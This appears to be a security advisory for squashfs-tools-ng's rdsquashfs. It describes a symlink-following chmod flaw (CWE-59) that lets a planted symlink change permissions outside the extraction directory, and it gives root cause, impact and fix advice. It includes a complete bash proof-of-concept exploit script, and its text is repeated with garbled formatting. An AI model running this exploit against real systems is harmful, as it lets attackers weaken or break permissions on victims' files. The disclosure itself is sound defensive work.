rdsquashfs has an option to apply permission bits from the image to extracted nodes (--chmod/-C).
This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a pipeline that uses -C for fidelity when unpacking into a workspace directory that may be attacker-influenced:
/tmp/rdsquashfs_chmod_clobber_poc/
|-- out/
| `-- dir -> ../outside/ (preexisting symlink planted in destination)
|-- outside/ (sibling directory)
`-- image.sqfs (untrusted image containing an empty directory "dir" with restrictive mode)
Victim workflow:
- Operator runs:
rdsquashfs -C -u / -p /tmp/rdsquashfs_chmod_clobber_poc/out /tmp/rdsquashfs_chmod_clobber_poc/image.sqfs
rdsquashfs treats out/dir as “already exists” (without verifying inode type)
- During metadata application,
rdsquashfs calls chmod("dir", ...) via fchmodat(..., flags=0) which follows the symlink and changes the mode of /tmp/rdsquashfs_chmod_clobber_poc/outside/
This is a “metadata clobber” primitive: it modifies an external path’s permissions without needing to write an external file’s contents.
0. Environment
- Source:
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
- Version: squashfs-tools-ng commit
e3dcf17 (latest on 23/04/2026)
- Version below
e3dcf17 is also infected.
1. Description
When applying permission bits, rdsquashfs uses:
fchmodat(AT_FDCWD, path, mode, 0)
Unlike its chown and utimensat calls (which use AT_SYMLINK_NOFOLLOW), the chmod path uses flags=0, which follows symlinks.
If path is a preexisting symlink due to a hostile destination pre-state, this results in chmod being applied to the symlink target (which can be outside the unpack root).
Relevant code:
bin/rdsquashfs/src/restore_fstree.c:~279-285
if (flags & UNPACK_CHMOD && !S_ISLNK(...)) fchmodat(..., 0)
2. Impact
An attacker who can pre-create a symlink in the destination tree can cause rdsquashfs -C to modify permissions of an attacker-chosen external path.
Depending on the chosen mode bits and victim context, impact can include:
- denial of service (making external directories/files unreadable),
- weakening permissions (making external paths world-writable),
- breaking security assumptions of other tools that rely on directory permissions.
3. Root Cause
- Existing destination components are not verified with
lstat().
fchmodat(..., flags=0) follows symlinks; it should use AT_SYMLINK_NOFOLLOW or a dirfd-relative, symlink-safe walk.
4. Proof-of-Concept
4.1 PoC files
4.2 Expected result
The PoC verifies that the permissions of:
/tmp/rdsquashfs_chmod_clobber_poc/outside/
are modified when extracting with -C into:
/tmp/rdsquashfs_chmod_clobber_poc/out/ (containing a preexisting symlink dir -> ../outside)
5. Fix Recommendations
- For chmod operations, use
fchmodat(..., AT_SYMLINK_NOFOLLOW) and handle platforms that lack it.
- Validate that any existing path component is a real directory before treating it as such (
lstat + S_ISDIR).
- Prefer descriptor-relative extraction and metadata application (
openat() walk; apply chmod/chown/time via fds).
- Add regression tests specifically for “metadata clobber” with hostile-prestate symlink components.
6. Reproduction
From this directory:
Below is poc.sh
#!/usr/bin/env bash
set -euo pipefail
SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"
for bin in mksquashfs; do
if ! command -v "$bin" >/dev/null 2>&1; then
echo "error: $bin is required" >&2
exit 1
fi
done
if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi
git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"
base=/tmp/unpfuzz_rdsquashfs_chmod_clobber_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/out" "${base}/outside"
# Image contains an (empty) directory "dir" with a distinct mode.
chmod 700 "${base}/src/dir"
mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null
# Hostile pre-state: destination component is a symlink to an external directory.
chmod 755 "${base}/outside"
ln -s ../outside "${base}/out/dir"
before="$(stat -c %a "${base}/outside")"
# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
(cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi
build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)
rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
exit 1
fi
# -C applies chmod; the empty directory node triggers fchmodat on "dir".
"${rdsq_bin}" -q -C -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null
after="$(stat -c %a "${base}/outside")"
if [[ "${after}" == "${before}" ]]; then
echo "[-] expected outside directory mode to change, but it did not" >&2
echo " before=${before} after=${after}" >&2
exit 1
fi
echo "[+] outside directory mode changed via chmod-following symlink:"
echo " ${base}/outside: ${before} -> ${after}"
rdsquashfshas an option to apply permission bits from the image to extracted nodes (--chmod/-C).This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)
One realistic attack scenario is a pipeline that uses
-Cfor fidelity when unpacking into a workspace directory that may be attacker-influenced:Victim workflow:
rdsquashfs -C -u / -p /tmp/rdsquashfs_chmod_clobber_poc/out /tmp/rdsquashfs_chmod_clobber_poc/image.sqfsrdsquashfstreatsout/diras “already exists” (without verifying inode type)rdsquashfscallschmod("dir", ...)viafchmodat(..., flags=0)which follows the symlink and changes the mode of/tmp/rdsquashfs_chmod_clobber_poc/outside/This is a “metadata clobber” primitive: it modifies an external path’s permissions without needing to write an external file’s contents.
0. Environment
git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-nge3dcf17(latest on 23/04/2026)e3dcf17is also infected.1. Description
When applying permission bits,
rdsquashfsuses:fchmodat(AT_FDCWD, path, mode, 0)Unlike its
chownandutimensatcalls (which useAT_SYMLINK_NOFOLLOW), the chmod path usesflags=0, which follows symlinks.If
pathis a preexisting symlink due to a hostile destination pre-state, this results in chmod being applied to the symlink target (which can be outside the unpack root).Relevant code:
bin/rdsquashfs/src/restore_fstree.c:~279-285if (flags & UNPACK_CHMOD && !S_ISLNK(...)) fchmodat(..., 0)2. Impact
An attacker who can pre-create a symlink in the destination tree can cause
rdsquashfs -Cto modify permissions of an attacker-chosen external path.Depending on the chosen mode bits and victim context, impact can include:
3. Root Cause
lstat().fchmodat(..., flags=0)follows symlinks; it should useAT_SYMLINK_NOFOLLOWor a dirfd-relative, symlink-safe walk.4. Proof-of-Concept
4.1 PoC files
poc.sh4.2 Expected result
The PoC verifies that the permissions of:
/tmp/rdsquashfs_chmod_clobber_poc/outside/are modified when extracting with
-Cinto:/tmp/rdsquashfs_chmod_clobber_poc/out/(containing a preexisting symlinkdir -> ../outside)5. Fix Recommendations
fchmodat(..., AT_SYMLINK_NOFOLLOW)and handle platforms that lack it.lstat+S_ISDIR).openat()walk; apply chmod/chown/time via fds).6. Reproduction
From this directory:
Below is poc.sh